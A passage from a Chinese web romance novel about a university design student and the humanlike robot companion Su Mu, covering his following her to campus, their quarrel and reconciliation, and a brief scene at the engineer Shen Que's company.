她觉得这好像也不是什么大不了的事,他开心就好,这非黑即白的逻辑思维算是兜不出去了。
看着初晚黎没再反驳自己,“你不讨厌我”,他又确认似的说了一次,“那就是喜欢我。”
初晚黎觉得心好累。
“哈哈哈哈。”这还有个看戏的,“小学生斗嘴。”说完还鼓了个掌。
这俩都不是好东西,只是看起来人畜无害,果然人不可貌相。
“回归正题,可是这么大个物件,长得也和人无异,要让别人看见误会我怎么办。”
“误会呗。”沈确很轻描淡写飘了一句不痛不痒的话,“清者自清,那么在意别人看法干嘛。”
“我...”初晚黎也不知道怎么反驳,她倒的确也是个不在乎别人看法的人。
“你看,这么个大帅哥,还可以帮你分担家务,还能护卫,不好吗,不快乐吗。”沈确说的她都有点心动了。
“而且你看,他的性格也是我按照积木提供给我,大多数玩家的调研资料设置的,温柔体贴,这也算完美的2d纸片人变3d了,现实中这种好男人多难找!更何况我还搭载了最新技术,你看他和真人差不多,你就当他是个真人呗。”
“就是因为看不出是机器人才有点可怕好不好。”初晚黎小声碎碎念了句。
“再试试,说不定你会离不开他的。”沈确又笑了笑,眼睛随之眯了起来。
眯眯眼怪人,这是初晚黎对他的初评价。
…
7. 分离焦虑
沈确倒也没聊些什么其他的,至少没说什么有用信息出来,基本都是看得出来的废话信息。
尤其是初晚黎想要问一嘴关于苏暮为什么这么像真人这个话题,他一直在打马虎眼,大抵也是不愿说。
所以她也没选择再继续追问下去,如果强迫对方,回答也不一定真实不是吗。
总而言之,言而总之,就是沈确让她自己去探索,不过前提是不要对苏暮造成损坏或是随意遗弃,不然她还要付赔偿金。
简直是强买强卖!
不过沈确说那张卡随初晚黎用,就当是苏暮的维护费。
…
聊完已经是中午了,沈确说工作上有事,丢下一句苏暮身上的钱随便花,他买单,就跑了。
初晚黎的饭后小憩也被搅没了,索性选择打开手机,没想到群里的信息倒是要炸了一样。
导师要组里的大家明天去找她聊论文。
初晚黎的美好宅家日没了。
…
“学校?我也要去!”第二天一早,初晚黎就爬起来鼓捣些苏暮看不懂的瓶瓶罐罐,好像是在化妆。
“你老实呆家里。”初晚黎可不想多带一个人出门,带出去是小事,问题是还得安排好它。
“诶~”不过苏暮可不这么想,自己在家都不知道应该干些什么,总不能在家逗一天的猫吧,而且万一初晚黎遇到危险需要他怎么办。
“反抗无效。”初晚黎开始翻箱倒柜,满满一柜子的衣服,甚至好多还没拆掉包装,但就算这样,要出门的时候也不知道穿什么。
很多衣服看着好看,买回来却发现需要精致的妆容打扮好像才配得上衣服的精致感,这么麻烦的事,还不如t恤大裤衩来的舒服。
但是见老师同学,还是不能那么随意,尤其和对方还不是很熟,她也没法卸下自己的偶像包袱。
苏暮走到卧室,只见里面一片狼藉,各种风格的衣服丢满了沙发,可爱的,成熟的,精致的,休闲的…别说风格了,颜色跨度都很大,上到荧光色下到黑白灰。
“我们这是要搬家?”
“出去见人而已。”
“这件就挺好看啊。”苏暮随手拿起了一件白色长裙。
“太长了不方便行动,而且容易脏。”初晚黎接过手,叠都没叠就胡乱塞回了衣柜。
“那这件。”粉色的连衣短裙。
“这么粉嫩,感觉更适合和小姐妹约会。”可怜的衣服又被直接甩了回去。
“这件。”黑色字母t恤。
“这颜色感觉太沉闷了。”
“这个。”淡蓝色卫衣套装。
初晚黎摇了摇头,感觉这么下去完全都选不出来。
“我改天去学一下女生搭配。”看来自己也帮不上什么忙,下次再让她这么纠结下去怕也是不妥,干脆自己研究下,说不定自己下次能派上用场。
而且这样说不定还能让她更喜欢自己一点!苏暮在心里打起了小算盘。
初晚黎早已挑花了眼,叹了口气,抓起了一件淡蓝色t恤和白色休闲短裤。
这就是所谓的,买了一堆衣服,但是出门的时候依旧找不到穿的衣服,最终还是选择t恤大裤衩套装。
尤其对她这个性子而言,精致感什么的最终还是比不上舒适度。
挑完了衣服后,初晚黎把那些衣服聚到了一起,然后一股脑把它们抱起来扔到了衣柜里。
苏暮看到这些衣服的待遇,仿佛看到了自己的未来,怕是以后初晚黎腻了,也会被丢到什么小黑屋不见天日。
”呼~好累。“身为体力虚弱的妙龄少女,除了吃喝,很少有事能让她提起神,更别说这种需要思考费心费神的问题。
但说实话吧,真要有人替她做决定,除非能百分百说服她,不然她也不一定会听,甚至可能适得其反。
她也自知自己挺难相处的,若是让她和自己类似的人相处,怕是也相处不好。
虽说苏暮是个机器人,聊天技巧也好,性格也好,都是人拟出的完美算法,但也不知道它可以坚持和她和平相处到什么时候。
初晚黎的每段关系,能够和她安然无恙相处的时光基本不超过半年,主要是因为她那完美无缺的社交面具总有戴不下去的一天。
尤其随着关系的推进,对方离得越近,她和对方相处时间变多,戴面具的时间也就会越多,喘息的时间也就变少了,内耗严重,她可能会自动放弃。
比如,做一些对方讨厌的事,或者是直接断联。
大部分人会追问一下,为什么突然她像变了个人。
她自知大多数人和她在一起相处都是因为看到了她好的那面,温柔体贴,不咄咄逼人,性格也随性好说话。
不过大都是演的而已,所以有什么好解释的,只不过回归本性,然后对方不喜欢不适应了呗。
最后那些人和问题被初晚黎冷处理,就不了了之了。
少部分会不停的问想得到答案,可能是因为对方的执着,也可能是她多少恢复理智后,觉得自己做的的确不对,而且发现对方真的不会离开自己,安全感拉满,关系就被挽救回来了。
其中的典型代表人物就是,初晚黎的那位自小认识的死党,时衿。
比起初晚黎在社交场面的别别扭扭,时衿对待感情更直白。
初晚黎印象最深的就是,在小时候女孩子们总会想着装作成熟模样,其中一条就是以喜欢粉色为耻,如此梦幻少女的颜色被打上了幼稚的标签。
说实话到现在初晚黎都不明白为什么一个颜色而已,但是在那个年龄段,你要是说你喜欢粉色,就会被说有公主病。
最后大家都心照不宣的说自己喜欢黑色,深蓝等深沉的颜色,仿佛这样就是一个成熟的大人,而不是带着公主病的小破孩。
大家以外在条件来衡量成熟,殊不知这些都透露出自己内心的肤浅。
也就时衿,恨不得天天穿个粉色蓬蓬公主裙招摇过市,别人天天朴素单马尾,她每天小辫子换着花样,结果可想而知,背地里被同学说是爱臭美的公主病患者。
初晚黎倒是很佩服她这份直白,后来她也忍不住去问过,答案嘛...
“我喜欢粉色就穿喽,管他们干嘛。”年纪小小却不在乎世俗眼光,喜欢什么就大胆表达。
倒不像自己,年幼时明明喜欢某个娃娃或是喜欢某个东西,却因不想被看出所以死不承认,被别人戳穿后,还会别扭的说反话,“我一点都不喜欢。”
当然,她那时也被迫是喜欢深色一员,倒也不是为了合群,只是不想成为浪尖上的人物吧,而且对她而言,将喜欢的东西深埋心底才是最安全的。
可能是因为长期收到时衿的影响吧,初晚黎后来也越来越敢于表现自己喜恶,不去在乎别人看法,哪怕可能会给自己带来流言风语。
但活着,若是连真心都不能说出,得有多憋屈。
直到那日,她也大胆说出口自己喜欢粉色,但如预期所料,她也成了拥有公主病的一员。
“别管他们说什么,我觉得表达真实喜好挺好,人有自己的喜恶不是很正常的嘛,干嘛因为他人的评价而改变,相反那些人为了合群而抛弃自我,才是真正的可悲。”
“而且不管他们说什么,我都会永远站在你这一边。”这是她和时衿成为死党的契机之一。
…
人嘛,活得开心就好,只要没影响到别人,你管我喜欢的东西符不符合大众审美主流,我喜欢就是最好的,毕竟我可管不住别人的嘴说什么。
所以...
“叛逆。”这是初妈初爸等亲朋好友给她冠上的名号,生人面前她的确不怎么表达自己想法,更不会有激进的个人主观色彩发言,但是熟人面前可不这样。
“个性”被冠名为“叛逆”的那一瞬,就成了抨击你的贬义词。
…
初晚黎套着宽松的t恤套装,她称之为“楼下老大爷散步穿搭”,毕竟这身宽松的上衣和休闲大裤衩穿搭,让她觉得着实和楼下散步晒太阳的老大爷形象特别相像,就差再提个鸟笼,一边走一边逗逗鸟,满满的松弛感。
不得不说老大爷果然懂生活,这穿起来多舒服,管他横着还是岔着坐都可以,不用像裙子还得防止走光。
年纪轻轻就已经像他们看齐,这思想可是比同龄人进步了几十年,直接越过了中年,步向老年,思想如此先进的她,可真不错。
苏暮可猜不到她在想什么,只看到她坐在沙发那突然傻笑。
“我得出门了,你和木木好好看家哈。”苏暮还想说些什么,抬眸的瞬间,门就关上了,在阳光的照射下,只留下从地上激起的少许灰尘飞洒在空气中。
苏暮才不会那么老实,他准备偷摸出门跟在后面,他才不要离开她那么久。
和喜欢的人就应该时刻在一起!
他往玄关处一瞥,正好有初晚黎放在那的黑色墨镜和口罩,天助他也,这下装备也齐全了,戴上谁认得出他,初晚黎自然也是认不出的吧,他这么想。
木木跟在他身后紧盯他,喵了一声又甩甩尾巴,毛茸的长尾巴在地上摆来摆去,怕是可以把地板擦亮了。
“你也想出门?”苏暮对猫咪的语言和行为学一概不通,毕竟沈确也想不到他会需要这项技能。
“喵~”看来是!苏暮抱起木木,它倒是听话,毫不挣扎。
就这样,一人一猫的出了门。
苏暮的身高高挑,在人群中本就比较扎眼,再加上捂得这样严严实实,反而更让人心生怀疑,不少人投来好奇的目光,心里想着是不是某位大明星出门,而且造型还很独特,毕竟怀里还有一只像是去挖了煤的大黑脸。
“小伙子,你这是抱了个啥?”大妈A凑过来,用手指了指苏暮怀里的木木。
“大老鼠吧。”大妈B抢答。
“狗吧。”大妈C也有着自己的想法。
“跟个大耗子一样,脸这么黑。”大妈A扶了扶自己的老花镜,想要在凑前看清楚些。
“是猫。”苏暮还是保持着得体的微
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笑和形象,内心已经焦躁不堪,他要跟丢啦!
“猫?小伙子你别骗我,这不大耗子。”大妈B不可置信,还想上手摸一摸。
“嘶~”木木好像听得出这几位大妈在说它形象问题,有点不悦,胡须向下,耳朵往后撇,毛微微炸起,做出防御姿势,嘶嘶叫的时候,还喷了几口口水到大妈们的脸上。
“嚯,还这么凶。”大妈C擦了擦木木喷到她脸上的臭口水。
“咋养个大黑耗子。”大妈B表示自己不懂现在年轻人审美。
“不好意思,先走了。”苏暮不失礼貌的告了别,看不到初晚黎的影子了,得赶快脱身。
“这长得像狗。”大妈们还在讨论自己的观点。
苏暮抱着炸毛的木木大步向前,看到初晚黎上了一辆的士,他也急忙有模有样,招了辆让司机跟上。
“喵!”木木还在因为刚刚的事发脾气,一边叫一边不时喷出愤怒的口水,眼神甚至还往那些大妈那里看,瞳孔瞪的老大,许是嘴巴喷干了,还舔了舔自己嘴。
“小伙子,你这猫挺凶啊。”还好司机大哥眼神好,看出来是个猫。
“喵!”木木好像明白这大哥看出来了它是只猫,肯定地叫了声。
“女朋友的。”苏暮没必要和外人解释他和初晚黎复杂的关系,对外说女朋友就行了。
“你这跟的车是?”
苏暮想了想,干脆编了个离谱的故事,“女朋友和我吵架,我怕她出危险所以想跟着她,等她消气。”
“啧啧,小伙子可以啊。”司机打着方向盘,又从车内后视镜看了眼苏暮打趣道,“别人都是带花追女友,或者带娃追老婆,你这带她家的猫,很有想法啊。”
“哈哈。”苏暮只得尬笑回应。
…
很快到了目的地----A市艺术大学,待初晚黎下车走了段距离后,苏暮才下车,下车时司机还不忘叮嘱他,要好好守住这份爱情啊。
A市艺术大学是一所综合性艺术院校,里面包含了各种艺术相关专业,从纯艺到设计,应有尽有。
初晚黎就在其中的设计学院就读,她们学院周围植被种类并不丰富,但梧桐树倒是种的密不透风,尤其现在三月的天,树已经长出新枝,一片绿意盎然,枝叶间的缝隙透过些许光线,斑驳的光影就像是繁星一样在地上闪烁。
木木抬起头,又变成了飞机耳,用力的用鼻子嗅嗅周围。
一路上满是青春的气息,有人骑着单车,不时“叮铃”一下提醒前面聊得甚欢的学生,也有抱着书本并肩而行的,滑着滑板的,急忙赶着时间的...
满是青春活力的气息,这场景于苏暮,好像似曾相识,却又记不起。
木木在这一路上还挺吸睛。
“你看好可爱的小猫。”
“是挖煤工诶。”
“小黑脸。”
木木是一只标准的暹罗猫,网上许多年轻人对这个品种的爱称就是挖煤工,小黑脸呀之类的。
或许是因为语气的不同,她们大多看到木木且这样称呼的时候,都是一种带着兴奋和喜爱的语气,不似刚刚大妈们的好奇和不理解。
前者让它感觉有被喜欢,后者让它感觉自己像那动物园被拿去展览的动物。
所以木木不仅没炸毛,反而在苏暮怀里尾巴不自觉翘了起来,还嗲声嗲气喵了一声。
“呀,好可爱。”看来木木是装乖成功了。
“能摸摸它吗。”苏暮对于这件事倒是犯了难,毕竟是初晚黎的猫,他也不知道她允不允许。
“它咬人吗?”
“那倒是不咬。”至少苏暮没被咬过。
不过木木向来不伸爪不张口,最多惹急了用牙齿磕你一下。
“那我摸摸。”有人直接就想上手了。
“不好意思。”苏暮凭着身高优势转身把木木换到了另一边,“不是我的猫,我不知道它主人同不同意。”
“不会有问题的,摸一下而已,你朋友不会生气的。”
“抱歉。”苏暮虽然是笑着的,但是回答的斩钉截铁,不容对方反驳的语气。
突然有人伸出手,苏暮防不胜防。
“嘿嘿,摸到了。”一个男生带着痞意笑了笑。
木木转而嘶了声,炸毛起来。
苏暮嘛,刚刚一直看起来温柔且带着笑意,现在虽然也是笑着的,但感觉周身却散发着不知从何而来的冷意,明明还是那双柔和的浅色琥珀瞳,眼底却不经意间闪过了丝狠意,“我说过”,他顿了下,“不要碰的吧。”语气让人不寒而栗。
那男生好像被震住了似的,愣在原地几秒,连忙往后退了好几步,然后慌忙跑了。
“借过。”他不容反驳凛声道,再加上冷冰冰的微笑,看起来有种无形的压抑感。
他也不想如此,但有时候善意的确会换来他人的得寸进尺。
正所谓爱屋及乌,初晚黎在乎的东西,也是他的宝贝,而且这人还耽误他时间,害他跟丢了初晚黎,真是碍事。
8. 校园风波
这下好,跟丢了。
只可惜木木不是什么犬科动物,要不然,他现在指定要依靠木木那敏锐的嗅觉,让它依据气息找到初晚黎。
苏暮正苦恼的时候,突然灵光一现,想到了某位大佬—沈确。
找他要个初晚黎的电话不就好了。
这电话还是他被沈确寄出去的时候附带的,一直放原来衣服的口袋里忘了拿出来。
或许也可以说是他的嫁妆了,里面的唯一一个号码就是沈确的。
他边等电话接通边懊恼,自己这几天怎么就是忘了要一个她的联系方式。
要是有初晚黎的号码的话,也就不会像现在这样,一人一猫在学校十字路口凌乱了。
“你知道初晚黎的电话号吗。”
“嘿嘿,这么多天,别人电话都要不到呀。”沈确接电话倒是很快,还有精力可以调侃他,看起来不太忙的样子。
通过他带笑意的语气都能想到他现在的样子,懒散的靠在自己的椅背上,微微眯着眼睛,手上玩转着一只钢笔,有点散漫的样子。
得亏他生得一副好皮囊,气质也佳,不然就不是慵懒感而是吊儿郎当了。
“对了,你知道她的年级和班级吗。”
他此刻倒是想的周全,万一初晚黎忙起来没空接他的电话,自己知道点信息的话,也可以主动去找她不是。
也算得上误打误撞吧,毕竟初晚黎压根就不会接陌生电话。
“呦~怎么对这个感兴趣了?”,对方还戏虐问他,“打听别人隐私可不好哦。”
为什么都干扰他找初晚黎呢,就算是沈确,此刻的他也有些不悦了。
他俩都分开这么久了,自己现在可是迫不及待想见到她。
电话这头的苏暮眼眸一沉,眉头微皱,周围的气场都变了。
“…”回答沈确的是阵沉默,大抵是感觉到些不对劲,沈确不再逗他,浅笑着回答了他,“大四,二班,现在的导师是林老师。”
“谢谢。”苏暮听到后恢复了一如既往的温文尔雅,心中乐开了花,想着马上就可以看到初晚黎啦!
分开了这么长时间没见,也不知道初晚黎会不会想他呢,想到这,嘴角微勾起了一个弧度。
苏暮到处抓人询问,很快就锁定了初晚黎的方位,她们今天在一号教学楼的201教室开会。
带着兴奋且激动的心情,见她的脚步都不自觉的加快了些,大步流星的。
很快到达了目的地。
果不其然,他从教室后门悄悄探头望过去,一眼就认出了初晚黎的背影,在一众同学中可扎眼了。
大多人都打扮得精致得体,从背影看过去,有些夸张到了那每根头发丝都有属于自己的专属位置。
再看看初晚黎,梳都没梳顺的黑直长,甚至因为今天阳光正好,空气略干燥,还有点炸毛。
还有几根不听话的头发许是因为太短而立在了头顶,宽松慵懒的t恤罩在身上,一看就没花心思打扮自己。
但尽管这样,苏暮眼里也自带滤镜特效。
他看到的是,阳光倾洒在她身上,勾勒出了流畅的脸部线条,时不时还有风扑面而来,拂过她的发梢,在这温暖的光线下,发丝都显得更加乌黑了起来,衬得她的小脸更加白嫩。
多好看呀,这就是他心心念念的人呀!
也不知道是因为程序设定,还是因为本身就对她颇有好感…反正心底有些按捺不住的悸动,不自觉笑意浮上脸庞。
很神奇的是,其实对方的外观可能在人群中并不出众,但总能精确快速找到那个对的人,好像其他人都是衬托她的背景墙。
就如同现在苏暮眼中的初晚黎,好像在发光,能让他一眼就看见。
“喵~”木木不合时宜地叫了一声,而且声音颇大,估计是看到初晚黎它也激动了吧。
这下好了,苏暮伪装失败,反而成了一堆人目光的焦点。
“这人怎么裹这么严实。”
“依我之见,是个帅哥。”
“为什么。”
“你看他,身材是很难藏住的。”
“光看身材有什么用,那万一是脸不好看才带的口罩,见光死的长相。”
“我就赌他是帅哥。”
“我觉得普普通通。”
…
大家小声讨论起来了。
“同学请问你找?”
“喵。”木木突然用脚踹开了苏暮,直接蹦下来,摇着竖老高的尾巴冲向初晚黎。
初晚黎捂着脸侧过身本想装不认识的,这下好了,木木这行为举动,她说是不认识,怕不是在哄傻子。
“喵!”罪魁祸首还直接蹦上桌蹭她脸。
初晚黎低着头凑向另一边。
不认识不认识!
“喵!”木木好像生气了,初晚黎竟然不理会它的撒娇,抬起前爪,一巴掌直接呼她脸上了。
“好好好,抱抱,抱抱。”某人这才突然张开怀抱,哄了木木半天。
“初晚黎,这是?”有同学指了指旁边一身黑且捂得严严实实的苏暮。
“哈哈哈,朋友,朋友。”初晚黎并不想解释,但本着自己在学校是个大大咧咧的人设,还是笑的很夸张的解释了下。
“只是朋友?”苏暮听到这个回答后,内心说不出哪里不爽,走了进来,反问道。
“哦?”周围传来了八卦的意味。
“就是朋友而已。”初晚黎还想挽回下。
但并没起到什么作用,周围已经开始有人捂着嘴小声议论了,都认为他俩是在欲盖弥彰。
跳进黄河洗不清了。
苏暮看她的眼神复杂,明明那天她并没否认喜欢自己,怎么今天在大众面前却变了说法,难道自己是什么拿不出手的存在吗。
“同学,请你先坐下,可以陪着初晚黎同学等我们的会先开完好嘛。”林老师一脸我很懂的表情,但也没戳破,自认为是俩小年轻在闹别扭。
“好。”反正初晚黎已经看到他了,也没再伪装的必要了,他干脆卸了自己的墨镜口罩。
“我去,是个帅哥。”
“我就说吧。”
…
“同学们,安静。”林老师想要维持会议秩序,但自己也不得不承认这学生长得挺好看,不过看起来挺面生,也不知道是哪个专业的学生。
初晚黎此刻只想钻到洞里,本来可以装小透明开完会就走的,这下好了,等下怕不是要成为话题人物了。
…
“初晚黎,你对象,哦不,朋友,是什么专业的啊。”果不其然被包围了,而且还被不停调侃。
“哈哈。”初晚黎想打马虎眼,总不能实话实说是什么中奖送的吧。
“难道是表演专业的?”
“嚯,兄弟你多高。”
…
初晚黎扯唇一笑,说自己家里还有急事,抱着木木,然后赶忙把苏暮扯出去。
“解释下。”初晚黎脸色一沉。
“见不到你,怕你在外面出危险,你,不太开心?”苏暮不太懂为什么她的反应不像自己想象中那样。
“第一,猫容易受惊,木木年纪这么大了,你把它带出来,吓出了问题怎么办?
“第二,大白天的我也不需要保护!”
初晚黎也不知道自己为什么发这么大脾气,可能是因为不想成为同学饭后谈资,她对于关于自身的事情基本都是避而不提。
而且她这么大人了,大白天哪里需要被保护!她又不是个不懂世事的小孩子。
苏暮有点懵,突然被初晚黎凶了,嗓子像是被什么堵住了。
面对这一句句指控,他失落地小声嘟囔了一句,“我只是想你了。”
说的自己都有点委屈,原谅被在乎的人斥责是这样的感受,心里好像要碎掉了。
初晚黎仰头看着他,只见他眼眶湿润,目光也有点呆滞的盯着地上。
“咳咳,对不起。”初晚黎不太会哄人,语气有点生硬,“是我话太重了。”
毕竟也没真出什么大事,而且对方也不过是个机器人,想不了那么周全也很正常。
“没事。”只是他语气依旧很委屈,还用力咬着自己的下嘴唇,仿佛不这样下一秒就要哽咽。
初晚黎看他缓缓转过身,背影此时都显得那么孤独且单薄。
“回家吧。”
初晚黎叫了个车,一路上气氛有些凝重。
苏暮本想着,初晚黎要是看到他肯定会很开心,因为他看到初晚黎就很开心啊,可是反而惹怒了初晚黎。
是不是被讨厌了,会不会他也要被关小黑屋了,或者被扫地出门?
初晚黎单手撑着下巴,靠在车门上。
没想到他会这么粘着自己,说实话除了木木,她不习惯被任何人类粘着,因为这样反而会给她种不安感。
毕竟大多数对感情热情的人,兴致消退的也快,可能某天你就会
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发现,对方对你不再像之前那样热络。
而你早已习惯对方的存在,这样突然从一段情感中抽离,还要花大量时间去消化,去适应对方的离开,与其这样,还不如保持距离感,
一开始就不要存在过于亲密的关系。
不管对方是谁。
所以可能是种应激反应吧,面对苏暮的示好,她的第一反应就是逃避,再进一步就是厌恶。
本应是个阳光尚好温度适宜的天气,可现在别说什么天气好不好了,就连窗外平日听起来悦耳的鸟叫如今都让人烦躁起来,初晚黎打开车窗,想着吹点风或许可以冷静一下。
刚才明显是初晚黎脾气不太好,按道理来讲此时伤心的是苏暮才对,但初晚黎也不知心里怎么越想越难过。
也怪自己早年遇人不淑,曾经过多把热情分给不值得的人,最后落得这个结果。
消磨了自己的那份赤诚和真心,等到类似的情况出现,只会一股脑推开。
她也不想这样。
这错误或许并不该如今让苏暮承担,她也自知他不是那些伤害过她的人,可她早就失去了勇气。
按常理来讲,初晚黎基本不和别人吵架,如果闹翻了,就是准备好离开这段关系了。
说白了就是逃避一切可能伤害到她的关系。
避开一切会让她情绪生活不稳定的因素。
毕竟在她内心,挽回啊,复合啊,从来都是无用功。
矛盾不解决,就会产生周而复始的争执,可所谓有效的沟通实在是太难了。
大多数人只是在相互宣泄情绪,相互间用言语伤害,等所谓负面情绪发泄完了,事情就不了了之了。
一而再再而三,最终不仅从朋友变仇人,还变成了段夹带语言伤害的记忆了。
她不懂如何去解决,也没人教她怎么去处理。
尽管对外时,她表现出一副处事圆润的样子,但不代表擅长解决社交问题。
话又说回来,苏暮它又不是人,人可能会对感情厌倦,会喜新厌旧,可,它能用对自己平日对人的评判标准去看待吗?
木木倒是没心没肺,蜷起来趴在初晚黎身上,还枕着她的手,搁着它那个很重又没啥作用的脑子。
很快到了家,俩人一路上无话可说,初晚黎也不太想去直面这问题,索性装作很忙,拿出电脑开始处理论文的相关事宜。
苏暮像个泄了气的皮球,坐在客厅的沙发上,抱着抱枕一动不动,就像宕机了一样。
但没过一会儿,他突然起身,轻手轻脚出了门,想要做到悄无声息,可奈何初晚黎的耳朵特别灵,就算她此时在卧室关着门,还是听到了大门被关上的声音。
是离家出走了吗?
还是说不打算回来了?
他人生地不熟的,或许有没有必要去找他一下?
话又说回来,如果人贩子把他卖了,是属于贩卖人口还是属于盗窃他人物品?
呃,好像话题又偏了。
…
心思被扰乱,就这么几分钟功夫,文档就打错了好几个字,格式也变得乱七八糟。
“啊~”初晚黎抓着已经都快掉光的头发。
所以说,她才不太想和别人有太多的牵绊,这样只会让自己的情绪受到干扰。
更何况沈确还让她好生看管这家伙,真要出了事,自己自然也逃不开责任。
她感到心力交瘁。
初晚黎想着要不要问一下沈确,或许苏暮是去他那了?
但转念一想,如果苏暮只是在附近散心,那她联系沈确就暴露了俩人吵架的事。
虽然她逃避吧,但向来不喜欢第三方插手,所以还是去附近找一下他再说。
也不知道自己瘫在床上翻来覆去思考了多久,反正收拾完正准备出门的时候,门就被敲响了,初晚黎没什么心思再去看猫眼,直接开了门。
只见苏暮手上拎了各式大小颜色袋子。
“网上说,哄人要有诚意和实际行动。”他提起袋子晃了晃,“我看你喜欢吃甜食,就买了点。”
“呃。”初晚黎为自己刚刚的行为感到后悔,尤其现在反倒还被苏暮哄着,挺丢人。
但她不知道的是,苏暮压根不会去计较这些。
他心中的初晚黎从来都是个善良可爱的人,如果发脾气了,肯定也是因为自己哪里做的不对,或是她有什么难言之隐。
她一直都是自己心里那个最可爱的存在。
9. 新的咖啡口味
初晚黎不太好意思接过袋子,等她打开一看的时候,惊讶发现几乎都是她爱吃的巧克力和红茶口味的。
“你怎么知道我喜欢吃这些?”她说着,手上的动作并未停止,忙着从袋子里掏出这些美味。
她周围的人除了时衿,基本没人记得她爱吃什么。
初爸初妈更别说了,常年可以做一桌子初晚黎讨厌的菜。
看到这些吃的,心里不禁有点小感动,好像心里的某扇门被“咔”的一声自动开了锁。
其实她在物质方面还挺容易被满足的,好吃的美食有时候就能让负面情绪烟消云散。
或许她要的从来并不多,只是很少有人愿意花心思,所以一点小事都能让她触动心弦。
心里带着些许小期待打开了袋子,一个个精致的点心被用心的包装起来,不光是食物本身的外观,就连这包装都让人看的赏心悦目。
她忍不住尝了口,巧克力口感顺滑,入口即化,可可的香味充满整个口腔,随后尝到的是微微的苦涩,正好中和了甜腻,味道恰当好处。
初晩黎由衷喜欢甜品,她把这种味道定义为可以实打实感知到的幸福感,回味着嘴里的味道,很满足地坐在椅子上前后晃着腿儿。
“你也尝一口?”好吃的东西就该分享。
初晩黎也没多想,就直接舀了一叉子,递到了苏暮的面前。
苏暮凑到她身旁,微微俯身,然后,心照不宣且不假思索吃了一口,“的确,味道不错。”
看到自己买的东西合她的心意,他心中好像也充溢了满足感,也像是想通了什么。
就算初晩黎不喜欢他又如何,看到自己喜欢的人能够幸福的生活,就足够了呀。
喜欢应该是看着对方幸福开心,而不一定是非要去占有。
初晩黎突然意识到了不对劲的点,这叉子她刚用过啊!
这难道就是影视作品中的经常出现的“间接kiss”,但不得不说这种老破梗看了不管多少遍都会让人觉得很甜,没想到现在也出现在了她的身上。
苏暮倒是没什么大的反应,像个没事人一样在那坐着,看来是只留她一个人慌乱了。
可能是因为专业原因,学艺术的男女比例称得上失调,初晚黎身边并没有太多的异性,像这样的举动对她而言已经很是亲密了,可能她就是个新时代的老古董吧。
“刚刚。”苏暮还是把话题回到了初晚黎想要逃避的冲突上。
“刚刚的蛋糕很好吃。”她在拼命转移话题,不想去谈那些可能会让自己不愉快的事情。
“我是说上午我的行为。”初晚黎焦虑坐在沙发上薅着头发,觉得他在穷追不舍,这样的行为会打破现在表面上的平和。
“跳过这个话题吧。”她也直白地说出心中所想。
“我也反思了,的确不应该在你不知情的情况下把你的猫私自带出,也不该粘你太紧,影响你做事。”
初晚黎有点不知所措,自小以来,许是她的父母给她造成的影响吧,很少有人真的尊重她的想法。
他们很奇怪,一边问你,
“你怎么想?”
“看你喜好。”
“别问我,我不干涉。”
一边又在你真正抉择的时候,不是泼冷水就是隐晦的威胁,甚至还有嘲笑,
“你确定这样可以?”
“我觉得不怎么样。”
“出了问题我可不负责。”
“你的选择可真差。”
对于年幼的初晚黎来说,无疑就是给本就内向敏感的内心火上浇油,导致她很长一段时间都不太敢表露自己的想法,好像说出自己的想法,是什么很不该的事情,因为说出了就会被否认,甚至被攻击。
所以别说尊重了,她后来能坦然说出自己的想法都不错了。
“你还反思了?”好像这事情也不至于到了需要反思的程度。
“因为我的确做错了呀。”苏暮眼神直勾勾盯着她,眼里满是看得见的真挚,“错了就该改,就该道歉,既然我做错了,我就该承担做错事的责任,也应该负责修复因我造成的关系破裂。”
是啊,做错事就该道歉,这是小孩子都能理解的道理,但好像,随着我们长大之后,表达歉意成了一种丢人的事,很多人宁可逃避,或是死鸭子嘴硬把责任推卸到他人身上,都不肯承担那一份担子。
直面自己的勇气随着年岁反而消失了。
且不说别的事,在感情里,因为那所谓的自尊心而又分开的恋人们可不算少数,
“凭什么我道歉”
“它要是在乎我肯定会来找我”
僵持着,却又放不下,内心不断的煎熬,若是有人肯先站出来皆大欢喜,若是两者都自尊心都强,怕是不了了之了。
比起相爱的人能够在一起,维持自尊在感情中真的有那么重要吗。
初晚黎也推敲过这问题,她经常看到这种事情在周围上演,若自己选的话…
“所以能原谅我了嘛~”苏暮思量着,他刚说完那些话,初晚黎就凝住了一样,眸色微暗,似有点空洞的走了神一样,不知在想些什么。
“嗯。”初晚黎屏住气,又重重呼出,这才像是做了什么重大决定一样开了口,“但我也有错,不该那样语气不好,而且你也不太了解我,所以在相处时产生摩擦是很常见的事,我也不该逃避问题。”
“嘿嘿。”他嘴角终于才勾起弧度,温柔地摸了几次下初晚黎的头。
但是也有点不对劲,好像这手法...
不对,苏暮是把她当木木了吧!
更不巧的是,木木看到后“哒哒”还跑了过来,拿头拱了下苏暮的腿,意思也让它沾沾光,摸个脑袋。
“苏暮。”初晚黎觉得她也有必要说清楚她的想法。
“第一,对于我而言,独处的空间是很重要的,毕竟我也有自己的正事需要处理;
第二,你要知道,我从来都不是需要被你小心翼翼保护的对象,我有能力去照顾自己,所以,你大可不必为此担心。
我能靠自己去努力取得我想要的,我从来都不需要被谁托举到山顶,只要是我心之所向之处,我可以自己翻山越岭。
不过若你愿意,可以同我一起携手共进,相互帮持。”
“好。”苏暮听的很认真,和那些虚心假意的人不同,他是真的有在用心听。
说来也是讽刺,她从一个按理说没有感情的机器人上获得了她想要的尊重和理解。
哪怕她也知道,可能这一切也只是因为沈确给他的一个人设----一个名叫苏暮的人,小心翼翼暗恋她多年,最终表露真心,勇敢追爱。
可对比她的周围,又有谁能做到。
大多只是单方面的想要她付出,更别说尊重,只是被榨干价值后就丢弃的棋子罢了。
不过初晚黎觉得就算是程序使然也无所谓了,反正现在的事实就是,苏暮的确做的比那些人类好。
…
赛恩斯大楼
“谢谢,我不喝咖啡,弄点红茶什么的就好。”
这几天依旧是忙得不可开交,项目组中的各位,基本上都是个个顶着熊猫眼。
自之前A1亮相的消息传出来,大家都是顶着硕大的压力在工作,生怕在自己这里出现什么闪失。
毕竟在沈大神的手下工作,这可是可遇不可求的机会。
江念这阵子几乎一睁眼就是消息轰炸,到了公司就是一堆的文件在她眼前晃呀晃。
这不今天也是,从早上到现在下午,吃饭的时间都没了。
她倒是无所谓,但肯定不能让自己的手下们总这样,所以今天就让林夏去准备下午茶了。
只不过,大家大多选择咖啡,而且为了提神,选的几乎都是冰的,养生派的她就不喝了,打算就像往常一样,让林夏给自己泡壶茶。
“红茶喝完了。”林夏翻了下抽屉,只剩点茶叶细渣。
